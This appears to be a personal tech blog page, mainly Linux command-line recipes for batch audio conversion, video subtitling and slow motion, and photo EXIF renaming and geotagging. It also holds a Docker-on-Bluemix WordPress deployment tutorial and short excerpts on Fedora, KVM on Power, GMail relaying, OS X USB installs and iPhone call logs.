Advanced Multimedia on the Linux Command Line

There was a time that Apple macOS was the best platform to handle multimedia (audio, image, video). This might be still true in the GUI space. But Linux presents a much wider range of possibilities when you go to the command line, specially if you want to:

  • Process hundreds or thousands of files at once
  • Same as above, organized in many folders while keeping the folder structure
  • Same as above but with much fine grained options, including lossless processing, pixel perfectness that most GUI tools won’t give you

The Open Source community has produced state of the art command line tools as ffmpeg, exiftool and others, which I use every day to do non-trivial things, along with Shell advanced scripting. Sure, you can get these tools installed on Mac or Windows, and you can even use almost all these recipes on these platforms, but Linux is the native platform for these tools, and easier to get the environment ready.

These are my personal notes and I encourage you to understand each step of the recipes and adapt to your workflows. It is organized in Audio, Video and Image+Photo sections.

I use Fedora Linux and I mention Fedora package names to be installed. You can easily find same packages on your Ubuntu, Debian, Gentoo etc, and use these same recipes.

Audio

Show information (tags, bitrate etc) about a multimedia file

ffprobe file.mp3
ffprobe file.m4v
ffprobe file.mkv

Lossless conversion of all FLAC files into more compatible, but still Open Source, ALAC

ls *flac | while read f; do
	ffmpeg -i "$f" -acodec alac -vn "${f[@]/%flac/m4a}" < /dev/null;
done

Convert all FLAC files into 192kbps MP3

ls *flac | while read f; do
   ffmpeg -i "$f" -qscale:a 2 -vn "${f[@]/%flac/mp3}" < /dev/null;
done

Convert all FLAC files into ~256kbps VBR AAC with Fraunhofer AAC encoder

First, make sure you have Negativo17 build of FFMPEG, so run this as root:

dnf config-manager --add-repo=http://negativo17.org/repos/fedora-multimedia.repo
dnf update ffmpeg

Now encode:

ls *flac | while read f; do
   ffmpeg -i "$f" -vn -c:a libfdk_aac -vbr 5 -movflags +faststart "${f[@]/%flac/m4a}" < /dev/null;
done

Has been said the Fraunhofer AAC library can’t be legally linked to ffmpeg due to license terms violation. In addition, ffmpeg’s default AAC encoder has been improved and is almost as good as Fraunhofer’s, specially for constant bit rate compression. In this case, this is the command:

ls *flac | while read f; do
   ffmpeg -i "$f" -vn -c:a aac -b:a 256k -movflags +faststart "${f[@]/%flac/m4a}" < /dev/null;
done

Same as above but under a complex directory structure

This is one of my favorites, extremely powerful. Very useful when you get a Hi-Fi, complete but useless WMA-Lossless collection and need to convert it losslesslly to something more portable, ALAC in this case. Change the FMT=flac to FMT=wav or FMT=wma (only when it is WMA-Lossless) to match your source files. Don’t forget to tag the generated files.

FMT=flac
# Create identical directory structure under new "alac" folder
find . -type d | while read d; do
   mkdir -p "alac/$d"
done

find . -name "*$FMT" | sort | while read f; do
   ffmpeg -i "$f" -acodec alac -vn "alac/${f[@]/%$FMT/m4a}" < /dev/null;
done

Convert APE+CUE, FLAC+CUE, WAV+CUE album-on-a-file into a one file per track ALAC or MP3

If some of your friends has the horrible tendency to commit this crime and rip CDs as 1 file for entire CD, there is an automation to fix it. APE is the most difficult and this is what I’ll show. FLAC and WAV are shortcuts of this method.

  1. Make a lossless conversion of the APE file into something more manageable, as WAV:
    ffmpeg -i audio-cd.ape audio-cd.wav
  2. Now the magic: use the metadata on the CUE file to split the single file into separate tracks, renaming them accordingly. You’ll need the shnplit command, available in the shntool package on Fedora (to install: yum install shntool). Additionally, CUE files usually use ISO-8859-1 (Latin1) charset and a conversion to Unicode (UTF-8) is required:
    iconv -f Latin1 -t UTF-8 audio-cd.cue | shnsplit -t "%n · %p ♫ %t" audio-cd.wav
  3. Now you have a series of nicely named WAV files, one per CD track. Lets convert them into lossless ALAC using one of the above recipes:
    ls *wav | while read f; do
       ffmpeg -i "$f" -acodec alac -vn "${f[@]/%wav/m4a}" < /dev/null;
    done

    This will get you lossless ALAC files converted from the intermediary WAV files. You can also convert them into FLAC or MP3 using variations of the above recipes.

Now the files are ready for your tagger.

Video

Add chapters and soft subtitles from SRT file to M4V/MP4 movie

This is a lossless and fast process, chapters and subtitles are added as tags and streams to the file; audio and video streams are not reencoded.

  1. Make sure your SRT file is UTF-8 encoded:
    bash$ file subtitles_file.srt
    subtitles_file.srt: ISO-8859 text, with CRLF line terminators
    

    It is not UTF-8 encoded, it is some ISO-8859 variant, which I need to know to correctly convert it. My example uses a Brazilian Portuguese subtitle file, which I know is ISO-8859-15 (latin1) encoded because most latin scripts use this encoding.

  2. Lets convert it to UTF-8:
    bash$ iconv -f latin1 -t utf8 subtitles_file.srt > subtitles_file_utf8.srt
    bash$ file subtitles_file_utf8.srt
    subtitles_file_utf8.srt: UTF-8 Unicode text, with CRLF line terminators
    
  3. Check chapters file:
    bash$ cat chapters.txt
    CHAPTER01=00:00:00.000
    CHAPTER01NAME=Chapter 1
    CHAPTER02=00:04:31.605
    CHAPTER02NAME=Chapter 2
    CHAPTER03=00:12:52.063
    CHAPTER03NAME=Chapter 3
    …
    
  4. Now we are ready to add them all to the movie along with setting the movie name and embedding a cover image to ensure the movie looks nice on your media player list of content. Note that this process will write the movie file in place, will not create another file, so make a backup of your movie while you are learning:
    MP4Box -ipod \
           -itags 'track=The Movie Name:cover=cover.jpg' \
           -add 'subtitles_file_utf8.srt:lang=por' \
           -chap 'chapters.txt:lang=eng' \
           movie.mp4
    

The MP4Box command is part of GPac.

OpenSubtitles.org has a large collection of subtitles in many languages and you can search its database with the IMDB ID of the movie. And ChapterDB has the same for chapters files.

Decrypt and rip a DVD the loss less way

  1. Make sure you have the RPMFusion and the Negativo17 repos configured
  2. Install libdvdcss and vobcopy
    dnf -y install libdvdcss vobcopy
  3. Mount the DVD and rip it, has to be done as root
    mount /dev/sr0 /mnt/dvd;
    cd /target/folder;
    vobcopy -m /mnt/dvd .

You’ll get a directory tree with decrypted VOB and BUP files. You can generate an ISO file from them or, much more practical, use HandBrake to convert the DVD titles into MP4/M4V (more compatible with wide range of devices) or MKV/WEBM files.

Convert 240fps video into 30fps slow motion, the loss-less way

Modern iPhones can record videos at 240 or 120fps so when you’ll watch them at 30fps they’ll look slow-motion. But regular players will play them at 240 or 120fps, hiding the slo-mo effect.

We’ll need to handle audio and video in different ways. The video FPS fix from 240 to 30 is loss less, the audio stretching is lossy.

# make sure you have the right packages installed
dnf install mkvtoolnix sox gpac faac
#!/bin/bash

# Script by Avi Alkalay
# Freely distributable

f="$1"
ofps=30
noext=${f%.*}
ext=${f##*.}

# Get original video frame rate
ifps=`ffprobe -v error -select_streams v:0 -show_entries stream=r_frame_rate -of default=noprint_wrappers=1:nokey=1 "$f" < /dev/null  | sed -e 's|/1||'`
echo

# exit if not high frame rate
[[ "$ifps" -ne 120 ]] && [[ "$ifps" -ne 240 ]] && exit

fpsRate=$((ifps/ofps))
fpsRateInv=`awk "BEGIN {print $ofps/$ifps}"`

# loss less video conversion into 30fps through repackaging into MKV
mkvmerge -d 0 -A -S -T \
	--default-duration 0:${ofps}fps \
	"$f" -o "v$noext.mkv"

# loss less repack from MKV to MP4
ffmpeg -loglevel quiet -i "v$noext.mkv" -vcodec copy "v$noext.mp4"
echo

# extract subtitles, if original movie has it
ffmpeg -loglevel quiet -i "$f" "s$noext.srt"
echo

# resync subtitles using similar method with mkvmerge
mkvmerge --sync "0:0,${fpsRate}" "s$noext.srt" -o "s$noext.mkv"

# get simple synced SRT file
rm "s$noext.srt"
ffmpeg -i "s$noext.mkv" "s$noext.srt"

# remove undesired formating from subtitles
sed -i -e 's|<font size="8"><font face="Helvetica">\(.*\)</font></font>|\1|' "s$noext.srt"

# extract audio to WAV format
ffmpeg -loglevel quiet -i "$f" "$noext.wav"

# make audio longer based on ratio of input and output framerates
sox "$noext.wav" "a$noext.wav" speed $fpsRateInv

# lossy stretched audio conversion back into AAC (M4A) 64kbps (because we know the original audio was mono 64kbps)
faac -q 200 -w -s --artist a "a$noext.wav"

# repack stretched audio and video into original file while removing the original audio and video tracks
cp "$f" "${noext}-slow.${ext}"
MP4Box -ipod -rem 1 -rem 2 -rem 3 -add "v$noext.mp4" -add "a$noext.m4a" -add "s$noext.srt" "${noext}-slow.${ext}"

# remove temporary files 
rm -f "$noext.wav" "a$noext.wav" "v$noext.mkv" "v$noext.mp4" "a$noext.m4a" "s$noext.srt" "s$noext.mkv"

1 Photo + 1 Song = 1 Movie

If the audio is already AAC-encoded, create an MP4/M4V file:

ffmpeg -loop 1 -framerate 0.2 -i photo.jpg -i song.m4a -shortest -c:v libx264 -tune stillimage -vf scale=960:-1 -c:a copy movie.m4v

The above method will create a very efficient 0.2 frames per second (-framerate 0.2) H.264 video from the photo while simply adding the audio losslessly. Such very-low-frames-per-second video may present sync problems with subtitles on some players. In this case simply remove the -framerate 0.2 parameter to get a regular 25fps video with the cost of a bigger file size.

The -vf scale=960:-1 parameter tells FFMPEG to resize the image to 960px width and calculate the proportional height. Remove it in case you want a video with the same resolution of the photo. A 12 megapixels photo file (around 4032×3024) will get you a near 4K video.

If the audio is MP3, create an MKV file:

ffmpeg -loop 1 -framerate 0.2 -i photo.jpg -i song.mp3 -shortest -c:v libx264 -tune stillimage -vf scale=960:-1 -c:a copy movie.mkv

If audio is not AAC/M4A but you still want an M4V file, convert audio to AAC 192kbps:

ffmpeg -loop 1 -framerate 0.2 -i photo.jpg -i song.mp3 -shortest -c:v libx264 -tune stillimage -vf scale=960:-1 -c:a aac -strict experimental -b:a 192k movie.mkv

See more about FFMPEG photo resizing.

There is also a more efficient and completely lossless way to turn a photo into a video with audio, using extended podcast techniques. But thats much more complicated and requires advanced use of GPAC’s MP4Box and NHML. In case you are curious, see the Podcast::chapterize() and Podcast::imagify() methods in my  music-podcaster script. The trick is to create an NHML (XML) file referencing the image(s) and add it as a track to the M4A audio file.

Image and Photo

Move images with no EXIF header to another folder

mkdir noexif;
exiftool -filename -T -if '(not $datetimeoriginal or ($datetimeoriginal eq "0000:00:00 00:00:00"))' *jpg | xargs -i mv "{}" noexif/

Set EXIF photo create time based on file create time

Warning: use this only if image files have correct creation time on filesystem and if they don’t have an EXIF header.

exiftool -overwrite_original '-DateTimeOriginal< ${FileModifyDate}' *CR2 *JPG *jpg

Rotate photos based on EXIF’s Orientation flag, plus make them progressive. Lossless

jhead -autorot -cmd "jpegtran -progressive '&i' > '&o'" -ft *jpg

Rename photos to a more meaningful filename

This process will rename silly, sequential, confusing and meaningless photo file names as they come from your camera into a readable, sorteable and useful format. Example:

IMG_1234.JPG2015.07.24-17.21.33 • Max playing with water【iPhone 6s✚】.jpg

Note that new file name has the date and time it was taken, whats in the photo and the camera model that was used.

  1. First keep the original filename, as it came from the camera, in the OriginalFileName tag:
    exiftool -overwrite_original '-OriginalFileName<${filename}' *CR2 *JPG *jpg
  2. Now rename:
    exiftool '-filename<${DateTimeOriginal} 【${Model}】%.c.%e' -d %Y.%m.%d-%H.%M.%S *CR2 *JPG *jpg
  3. Remove the ‘0’ index if not necessary:
    \ls *JPG *jpg | while read f; do
        nf=`echo "$f" | sed -e 's/0.JPG/.jpg/i'`;
        t=`echo "$f" | sed -e 's/0.JPG/1.jpg/i'`;
        [[ ! -f "$t" ]] && mv "$f" "$nf";
    done
  4. Optional: make lower case extensions:
    \ls *JPG | while read f; do
        nf=`echo "$f" | sed -e 's/JPG/jpg/'`;
        mv "$f" "$nf";
    done
  5. Optional: simplify camera name, for example turn “Canon PowerShot G1 X” into “Canon G1X” and make lower case extension at the same time:
    ls *JPG *jpg | while read f; do
        nf=`echo "$f" | sed -e 's/Canon PowerShot G1 X/Canon G1X/;
          s/iPhone 6s Plus/iPhone 6s✚/;
          s/iPhone 7 Plus/iPhone 7✚/;
          s/Canon PowerShot SD990 IS/Canon SD990 IS/;
          s/JPG/jpg/;'`;
        mv "$f" "$nf";
    done

You’ll get file names as 2015.07.24-17.21.33 【Canon 5D Mark II】.jpg. If you took more then 1 photo in the same second, exiftool will automatically add an index before the extension.

Even more semantic photo file names based on Subject tag

\ls *【*】* | while read f; do
	s=`exiftool -T -Subject "$f"`;
	nf=`echo "$f" | sed -e "s/ 【/ • $s 【/; s/\:/∶/g;"`;
	mv "$f" "$nf";
done

Full rename: a consolidation of some of the previous commands

exiftool '-filename<${DateTimeOriginal} • ${Subject} 【${Model}】%.c.%e' -d %Y.%m.%d-%H.%M.%S *CR2 *JPG *jpg

Set photo “Creator” tag based on camera model

  1. First list all cameras that contributed photos to current directory:
    exiftool -T -Model *jpg | sort -u

    Output is the list of camera models on this photos:

    Canon EOS REBEL T5i
    DSC-H100
    iPhone 4
    iPhone 4S
    iPhone 5
    iPhone 6
    iPhone 6s Plus
  2. Now set creator on photo files based on what you know about camera owners:
    CRE="John Doe";    exiftool -overwrite_original -creator="$CRE" -by-line="$CRE" -Artist="$CRE" -if '$Model=~/DSC-H100/'            *.jpg
    CRE="Jane Black";  exiftool -overwrite_original -creator="$CRE" -by-line="$CRE" -Artist="$CRE" -if '$Model=~/Canon EOS REBEL T5i/' *.jpg
    CRE="Mary Doe";    exiftool -overwrite_original -creator="$CRE" -by-line="$CRE" -Artist="$CRE" -if '$Model=~/iPhone 5/'            *.jpg
    CRE="Peter Black"; exiftool -overwrite_original -creator="$CRE" -by-line="$CRE" -Artist="$CRE" -if '$Model=~/iPhone 4S/'           *.jpg
    CRE="Avi Alkalay"; exiftool -overwrite_original -creator="$CRE" -by-line="$CRE" -Artist="$CRE" -if '$Model=~/iPhone 6s Plus/'      *.jpg

Recursively search people in photos

If you geometrically mark people faces and their names in your photos using tools as Picasa, you can easily search for the photos which contain “Suzan” or “Marcelo” this way:

exiftool -fast -r -T -Directory -FileName -RegionName -if '$RegionName=~/Suzan|Marcelo/' .

-Directory, -FileName and -RegionName specify the things you want to see in the output. You can remove -RegionName for a cleaner output.
The -r is to search recursively. This is pretty powerful.

Make photos timezone-aware

Your camera will tag your photos only with local time on CreateDate or DateTimeOriginal tags. There is another set of tags called GPSDateStamp and GPSTimeStamp that must contain the UTC time the photos were taken, but your camera won’t help you here. Hopefully you can derive these values if you know the timezone the photos were taken. Here are two examples, one for photos taken in timezone -02:00 (Brazil daylight savings time) and on timezone +09:00 (Japan):

exiftool -overwrite_original '-gpsdatestamp<${CreateDate}-02:00' '-gpstimestamp<${CreateDate}-02:00' *.jpg
exiftool -overwrite_original '-gpsdatestamp<${CreateDate}+09:00' '-gpstimestamp<${CreateDate}+09:00' Japan_Photos_folder

Use exiftool to check results on a modified photo:

exiftool -s -G -time:all -gps:all 2013.10.12-23.45.36-139.jpg
[EXIF]          CreateDate                      : 2013:10:12 23:45:36
[Composite]     GPSDateTime                     : 2013:10:13 01:45:36Z
[EXIF]          GPSDateStamp                    : 2013:10:13
[EXIF]          GPSTimeStamp                    : 01:45:36

This shows that the local time when the photo was taken was 2013:10:12 23:45:36. To use exiftool to set timezone to -02:00 actually means to find the correct UTC time, which can be seen on GPSDateTime as 2013:10:13 01:45:36Z. The difference between these two tags gives us the timezone. So we can read photo time as 2013:10:12 23:45:36-02:00.

Geotag photos based on time and Moves mobile app records

Moves is an amazing app for your smartphone that simply records for yourself (not social and not shared) everywhere you go and all places visited, 24h a day.

  1. Make sure all photos’ CreateDate or DateTimeOriginal tags are correct and precise, achieve this simply by setting correctly the camera clock before taking the pictures.
  2. Login and export your Moves history.
  3. Geotag the photos informing ExifTool the timezone they were taken, -08:00 (Las Vegas) in this example:
    exiftool -overwrite_original -api GeoMaxExtSecs=86400 -geotag ../moves_export/gpx/yearly/storyline/storyline_2015.gpx '-geotime<${CreateDate}-08:00' Folder_with_photos_from_trip_to_Las_Vegas

Some important notes:

  • It is important to put the entire ‘-geotime’ parameter inside simple apostrophe or simple quotation mark (), as I did in the example.
  • The ‘-geotime’ parameter is needed even if image files are timezone-aware (as per previous tutorial).
  • The ‘-api GeoMaxExtSecs=86400’ parameter should not be used unless the photo was taken more than 90 minutes of any detected movement by the GPS.

Concatenate all images together in one big image

  • In 1 column and 8 lines:
    montage -mode concatenate -tile 1x8 *jpg COMPOSED.JPG
  • In 8 columns and 1 line:
    montage -mode concatenate -tile 8x1 *jpg COMPOSED.JPG
  • In a 4×2 matrix:
    montage -mode concatenate -tile 4x2 *jpg COMPOSED.JPG

The montage command is part of the ImageMagick package.

Docker on Bluemix with services

Docker on Bluemix with automated full-stack deploys and delivery pipelines

Introduction

This document explains working examples on how to use Bluemix platform advanced features such as:

  • Docker on Bluemix, integrated with Bluemix APIs and middleware
  • Full stack automated and unattended deployments with DevOps Services Pipeline, including Docker
  • Full stack automated and unattended deployments with cf command line interface, including Docker

For this, I’ll use the following source code structure:

github.com/avibrazil/bluemix-docker-kickstart

The source code currently brings to life (as an example), integrated with some Bluemix services and Docker infrastructure, a PHP application (the WordPress popular blogging platform), but it could be any Python, Java, Ruby etc app.

This is how full stack app deployments should be

Before we start: understand Bluemix 3 pillars

I feel it is important to position what Bluemix really is and which of its parts we are going to use. Bluemix is composed of 3 different things:

  1. Bluemix is a hosting environment to run any type of web app or web service. This is the only function provided by the CloudFoundry Open Source project, which is an advanced PaaS that lets you provision and de-provision runtimes (Java, Python, Node etc), libraries and services to be used by your app. These operations can be triggered through the Bluemix.net portal or by the cf command from your laptop. IBM has extended this part of Bluemix with functions not currently available on CloudFoundry, notably the capability of executing regular VMs and Docker containers.
  2. Bluemix provides pre-installed libraries, APIs and middleware. IBM is constantly adding functions to the Bluemix marketplace, such as cognitive computing APIs in the Watson family, data processing middleware such as Spark and dashDB, or even IoT and Blockchain-related tools. These are high value components that can add a bit of magic to your app. Many of those are Open Source.
  3. DevOps Services. Accessible from hub.jazz.net, it provides:
    • Public and private collaborative Git repositories.
    • UI to build, manage and execute the app delivery pipeline, which does everything needed to transform your pure source code into a final running application.
    • The Track & Plan module, based on Rational Team Concert, to let your team mates and clients exchange activities and control project execution.

This tutorial will dive into #1 and some parts of #3, while using some services from #2.

The architecture of our app

Docker on Bluemix with services

When fully provisioned, the entire architecture will look like this. Several Bluemix services (MySQL, Object store) packaged into a CloudFoundry App (bridge app) that serves some Docker containers that in turns do the real work. Credentials to access those services will be automatically provided to the containers as environment variables (VCAP_SERVICES).

Structure of Source Code

The example source code repo contains boilerplate code that is intentionally generic and clean so you can easily fork, add and modify it to fit your needs. Here is what it contains:

bridge-app folder and manifest.yml file
The CloudFoundry manifest.yml that defines app name, dependencies and other characteristics to deploy the app contents under bridge-app.
containers
Each directory contains a Dockerfile and other files to create Docker containers. In this tutorial we’ll use only the phpinfo and wordpress directories, but there are some other useful examples you can use.
.bluemix folder
When this code repository is imported into Bluemix via the “Deploy to Bluemix” button, metadata in here will be used to set up your development environment under DevOps Services.
admin folder
Random shell scripts, specially used for deployments.

Watch the deployment

The easiest way to deploy the app is through DevOps Services:

  1. Click to deploy

    Deploy to Bluemix

  2. Provide a unique name to your copy of the app, also select the target Bluemix space
    Deploy to Bluemix screen
  3. Go to DevOps Services ➡ find your project clone ➡ select Build & Deploy tab and watch
    Full Delivery Pipeline on Bluemix

Under the hood: understand the app deployment in 2 strategies

Conceptually, these are the things you need to do to fully deploy an app with Docker on Bluemix:

  1. Instantiate external services needed by your app, such as databases, APIs etc.
  2. Create a CloudFoundry app to bind those services so you can handle them all as one block.
  3. Create the Docker images your app needs and register them on your Bluemix private Docker Registry (equivalent to the public Docker Hub).
  4. Instantiate your images in executable Docker containers, connecting them to your backend services through the CloudFoundry app.

The idea is to encapsulate all these steps in code so deployments can be done entirely unattended. Its what I call brainless 1-click deployment. There are 2 ways to do that:

  • A regular shell script that extensively uses the cf command. This is the admin/deploy script in our code.
  • An in-code delivery pipeline that can be executed by Bluemix DevOps Services. This is the .bluemix/pipeline.yml file.

From here, we will detail each of these steps both as commands (on the script) and as stages of the pipeline.

  1. Instantiation of external services needed by the app…

    I used the cf marketplace command to find the service names and plans available. ClearDB provides MySQL as a service. And just as an example, I’ll provision an additional Object Storage service. Note the similarities between both methods.

    Deployment Script
    cf create-service \
      cleardb \
      spark \
      bridge-app-database;
    
    cf create-service \
      Object-Storage \
      Free \
      bridge-app-object-store;
    Delivery Pipeline

    When you deploy your app to Bluemix, DevOps Services will read your manifest.yml and automatically provision whatever is under the declared-services block. In our case:

    declared-services:
      bridge-app-database:
        label: cleardb
        plan: spark
      bridge-app-object-store:
        label: Object-Storage
        plan: Free
    
  2. Creation of an empty CloudFoundry app to hold together these services

    The manifest.yml file has all the details about our CF app. Name, size, CF build pack to use, dependencies (as the ones instantiated in previous stage). So a plain cf push will use it and do the job. Since this app is just a bridge between our containers and the services, we’ll use minimum resources and the minimum noop-buildpack. After this stage you’ll be able to see the app running on your Bluemix console.

    Deployment Script
    Delivery Pipeline
    Stage named “➊ Deploy CF bridge app” simply calls cf push;
  3. Creation of Docker images

    The heavy lifting here is done by the Dockerfiles. We’ll use base CentOS images with official packages only in an attempt to use best practices. See phpinfo and wordpress Dockerfiles to understand how I improved a basic OS to become what I need.

    The cf ic command is basically a clone of the well known docker command, but pre-configured to use Bluemix Docker infrastructure. There is simple documentation to install the IBM Containers plugin to cf.

    Deployment Script
    cf ic build \
       -t phpinfo_image \
       containers/phpinfo/;
    
    cf ic build \
       -t wordpress_image \
       containers/wordpress/;
    
    
    Delivery Pipeline

    Stages handling this are “➋ Build phpinfo Container” and “➍ Build wordpress Container”.

    Open these stages and note how image names are set.

    After this stage, you can query your Bluemix private Docker Registry and see the images there. Like this:

    $ cf ic images
    REPOSITORY                                          TAG     IMAGE ID      CREATED     SIZE
    registry.ng.bluemix.net/avibrazil/phpinfo_image     latest  69d78b3ce0df  3 days ago  104.2 MB
    registry.ng.bluemix.net/avibrazil/wordpress_image   latest  a801735fae08  3 days ago  117.2 MB
    

    A Docker image is not yet a container. A Docker container is an image that is being executed.

  4. Run containers integrated with previously created bridge app

    To make our tutorial richer, we’ll run 2 sets of containers:

    1. The phpinfo one, just to see how Bluemix gives us an integrated environment
      Deployment Script
      cf ic run \
         -P \
         --env 'CCS_BIND_APP=bridge-app-name' \
         --name phpinfo_instance \
         registry.ng.bluemix.net/avibrazil/phpinfo_image;
      
      
      IP=`cf ic ip request | 
          grep "IP address" | 
          sed -e "s/.* \"\(.*\)\" .*/\1/"`;
      
      
      cf ic ip bind $IP phpinfo_instance;
      Delivery Pipeline

      Equivalent stage is “➌ Deploy phpinfo Container”.

      Open this stage and note how some environment variables are defined, specially the BIND_TO.

      Bluemix DevOps Services default scripts use these environment variables to correctly deploy the containers.

      The CCS_BIND_APP on the script and BIND_TO on the pipeline are key here. Their mission is to make the bridge-app’s VCAP_SERVICES available to this container as environment variables.

      In CloudFoundry, VCAP_SERVICES is an environment variable containing a JSON document with all credentials needed to actually access the app’s provisioned APIs, middleware and services, such as host names, users and passwords. See an example below.

    2. A container group with 2 highly available, monitored and balanced identical wordpress containers
      Deployment Script
      cf ic group create \
         -P \
         --env 'CCS_BIND_APP=bridge-app-name' \
         --auto \
         --desired 2 \
         --name wordpress_group_instance \
         registry.ng.bluemix.net/avibrazil/wordpress_image
      
      
      cf ic route map \
         --hostname some-name-wordpress \
         --domain $DOMAIN \
         wordpress_group_instance

      The cf ic group create creates a container group and runs them at once.

      The cf ic route map command configures Bluemix load balancer to capture traffic to http://some-name-wordpress.mybluemix.net and route it to the wordpress_group_instance container group.

      Delivery Pipeline

      Equivalent stage is “➎ Deploy wordpress Container Group”.

      Look in this stage’s Environment Properties how I’m configuring container group.

      I had to manually modify the standard deployment script, disabling deploycontainer and enabling deploygroup.

See the results

At this point, WordPress (the app that we deployed) is up and running inside a Docker container, and already using the ClearDB MySQL database provided by Bluemix. Access the URL of your wordpress container group and you will see this:

WordPress on Docker with Bluemix

Bluemix dashboard also shows the components running:

Bluemix dashboard with apps and containers

But the most interesting evidence you can see accessing the phpinfo container URL or IP. Scroll to the environment variables section to see all services credentials available as environment variables from VCAP_SERVICES:

Bluemix VCAP_SERVICES as seen by a Docker container

I use these credentials to configure WordPress while building the Dockerfile, so it can find its database when executing:

.
.
.
RUN yum -y install epel-release;\
	yum -y install wordpress patch;\
	yum clean all;\
	sed -i '\
		         s/.localhost./getenv("VCAP_SERVICES_CLEARDB_0_CREDENTIALS_HOSTNAME")/ ; \
		s/.database_name_here./getenv("VCAP_SERVICES_CLEARDB_0_CREDENTIALS_NAME")/     ; \
		     s/.username_here./getenv("VCAP_SERVICES_CLEARDB_0_CREDENTIALS_USERNAME")/ ; \
		     s/.password_here./getenv("VCAP_SERVICES_CLEARDB_0_CREDENTIALS_PASSWORD")/ ; \
	' /etc/wordpress/wp-config.php;\
	cd /etc/httpd/conf.d; patch < /tmp/wordpress.conf.patch;\
	rm /tmp/wordpress.conf.patch
.
.
.

So I’m using sed, the text-editor-as-a-command, to edit WordPress configuration file (/etc/wordpress/wp-config.php) and change some patterns there into appropriate getenv() calls to grab credentials provided by VCAP_SERVICES.

Dockerfile best practices

The containers folder in the source code presents one folder per image, each is an example of different Dockerfiles. We use only the wordpress and phpinfo ones here. But I’d like to highlight some best practices.

A Dockerfile is a script that defines how a container image should be built. A container image is very similar to a VM image, the difference is more related to the file formats that they are stored. VMs uses QCOW, VMDK etc while Docker uses layered filesystem images. From the application installation perspective, all the rest is almost the same. But only only Docker and its Dockerfile provides a super easy way to describe how to prepare an image focusing mostly only on your application. The only way to automate this process on the old Virtual Machine universe is through techniques such as Red Hat’s kickstart. This automated OS installation aspect of Dockerfiles might seem obscure or unimportant but is actually the core of what makes viable a modern DevOps culture.

  1. Being a build script, it starts from a base parent image, defined by the FROM command. We used a plain official CentOS image as a starting point. You must select very carefully your parent images, in the same way you select the Linux distribution for your company. You should consider who maintains the base image, it should be well maintained.
  2. Avoid creating images manually, as running a base container, issuing commands manually and then committing it. All logic to prepare the image should be scripted in your Dockerfile.
  3. In case complex file editing is required, capture edits in patches and use the patch command in your Dockerfile, as I did on wordpress Dockerfile.
    To create a patch:

    diff -Naur configfile.txt.org configfile.txt > configfile.patch

    Then see the wordpress Dockerfile to understand how to apply it.

  4. Always that possible, use official distribution packages instead of downloading libraries (.zip or .tar.gz) from the Internet. In the wordpress Dockerfile I enabled the official EPEL repository so I can install WordPress with YUM. Same happens on the Django and NGINX Dockerfiles. Also note how I don’t have to worry about installing PHP and MySQL client libraries – they get installed automatically when YUM installs wordpress package, because PHP and MySQL are dependencies.

When Docker on Bluemix is useful

CloudFoundry (the execution environment behind Bluemix) has its own Open Source container technology called Warden. And CloudFoundry’s Dockerfile-equivalent is called Buildpack. Just to illustrate, here is a WordPress buildpack for CloudFoundry and Bluemix.

To chose to go with Docker in some parts of your application means to give up some native integrations and facilities naturally and automatically provided by Bluemix. With Docker you’ll have to control and manage some more things for yourself. So go with Docker, instead of a buildpack, if:

  • If you need portability, you need to move your runtimes in and out Bluemix/CloudFoundry.
  • If a buildpack you need is less well maintained then the equivalent Linux distribution package. Or you need a reliable and supported source of pre-packaged software in a way just a major Linux distribution can provide.
  • If you are not ready to learn how to use and configure a complex buildpack, like the Python one, when you are already proficient on your favorite distribution’s Python packaging.
  • If you need Apache HTTPD advanced features as mod_rewrite, mod_autoindex or mod_dav.
  • If you simply need more control over your runtimes.

The best balance is to use Bluemix services/APIs/middleware and native buildpacks/runtimes whenever possible, and go with Docker on specific situations. Leveraging the integration that Docker on Bluemix provides.

WordPress on Fedora with RPM, DNF/YUM

WordPress is packaged for Fedora and can be installed as a regular RPM (with DNF/YUM). The benefits of this method are that you don’t need to mess around with configuration files, filesystem permissions and since everything is pre-packaged to work together, additional configurations are minimal. At the end of this 3 minutes tutorial, you’ll get a running WordPress under an SSL-enabled Apache using MariaDB as its backend.

All commands need to be executed as root. (more…)

Microsoft Windows na plataforma Power com KVM e QEMU

Com o lançamento de KVM para Power se aproximando no horizonte, tem se falado muito sobre rodar o Microsoft Windows em Power.

Só uma rápida retrospectiva, KVM é a tecnologia do Kernel do Linux que permite rodar máquinas virtuais de forma muito eficiente. E o QEMU é o software que emula diversos aspectos de um computador (portas serias, rede, BIOS/firmware, disco etc). O QEMU existia antes do projeto KVM e possibilita rodar, de forma razoavelmente lenta devido a emulação de todos os aspectos do hardware, outro sistema operacional completo dentro dele.

(more…)

GMail as mail relay for your Linux home server

Since my Fedora Post-installation Configurations article, some things have changed in Fedora 20. For example, for security and economy reasons, Sendmail does not get installed anymore by default. Here are the steps to make your Linux home computer be able to send system e-mails as alerts or from things that run on cron. All commands should be run as user root. This is certified to work on Fedora 21.

(more…)

Install OS X on a Mac computer from an ISO file

For some reason nobody published a simple guide like this. Maybe nobody tryied this way. I just tryied and it works with OS X Mountain Lion on a Mid 2012 MacBook Air.

If you have a Mac computer or laptop and want to install OS X, and all that you have is the operating system installation ISO image, you just need an external USB storage (disk or pen drive) of 5GB minimum size. Those regular 120GB or 1TB external disks will work too.

Just remember that all data on this external storage will be erased, even if the Mac OS X installation ISO is just 4.7GB. So make a backup of your files and after installtion you can re-format the external disk and recover the files on it.

To make the OS X installation ISO image file usable and bootable from the external storage, use the Mac OS terminal app or, on Linux, use the command line. This is the magic command:

dd if="OS X Install DVD.iso" of=/dev/disk1 bs=10m

You might want to change the red part of this command to the disk name that you get when inserted the external storage. Remember to not use things like disk1s1 or, on Linux, sdc1. The highlighted blue part on these examples are the partition name, and you don’t want that. You want to use the whole storage, otherwise it will not boot the computer.

After the command finishes execution, boot the Mac computer with the alt/option key pressed. Several devices will appear on screen for you to choose wich one to boot. Select the one with the USB logo and called “EFI Boot“.

Mac OS X installation app will boot and you can start the process. Remember that the default behavior here is to upgrade the installed system. If you want a clean install, select the Disk Utility app on the menu and make sure you erase and create a new partition on the Mac internal storage.

As a side technical note, this is all possible because ISO images — primarily designed for optical disks — can also be written to regular other storages as pen drives. And Apple has also put the right bits on these ISO images to allow it to boot from non-optical disks too.

iPhone Call History Database

Either if you are doing forensics or just want better reports about your call patterns, the iPhone Call History database can be very handfull.

If you have a jailbroken iPhone, you can access the database file directly. If you are not, you can still access it offline simply copying the file from an unencrypted iTunes backup to some other folder on you computer to manipulate it. Here are the real files path inside the iPhone and their counterparts on an iTunes backup folder:
(more…)

Eu, Drupal e a Arrebentação

